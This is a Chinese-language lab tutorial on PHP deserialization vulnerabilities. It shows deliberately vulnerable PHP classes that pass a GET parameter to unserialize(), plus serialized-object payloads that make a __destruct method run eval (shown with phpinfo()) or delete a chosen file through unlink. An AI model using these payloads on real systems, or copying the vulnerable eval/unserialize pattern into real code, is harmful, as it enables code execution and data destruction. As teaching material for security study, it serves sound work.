欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

php反序列化漏洞

程序员文章站 2022-03-10 19:01:20
...

实验环境:Apache、php5.4

实验原理:是由于程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通

实验步骤:

实验一:

php代码如下:

<?php
class Person{
       var $name;
       var $age;
       var $sex;
       function __construct($name,$age,$sex){
           $this->name=$name;
           $this->age=$age;
           $this->sex=$sex;

        }

        function __destruct()
        {
            eval($this->sex);

        }

}
$str=$_GET['obj'];
$p1=unserialize("$str");
print_r($p1);
?>

在路径中输入参数值:?obj=O:6:"Person":3:{s:4:"name";s:3:"cxr";s:3:"age";i:25;s:3:"sex";s:10:"phpinfo();";},结果如下:

php反序列化漏洞

实验二:

利用unlink()函数,实现文件删除功能

php代码如下:

<?php
class Person{
       var $name;
       var $age;
       var $sex;
       var $tmp="1.tmp";
       function __construct($name,$age,$sex){
           $this->name=$name;
           $this->age=$age;
           $this->sex=$sex;

        }
        function __destruct()
        {
            unlink(dirname(__FILE__)."/".$this->tmp);
        }

}

$str=$_GET['obj'];
$p1=unserialize("$str");
print_r($p1);
?>

执行前,本目录下有以下文件:

php反序列化漏洞 

在路径中输入参数值:?obj=O:6:"Person":4:{s:4:"name";s:3:"cxr";s:3:"age";i:25;s:3:"sex";s:4:"girl";s:3:"tmp";s:5:"2.tmp";},结果如下:

php反序列化漏洞

这时可以看到要删除得2.tmp文件已经成功删除

相关标签: web渗透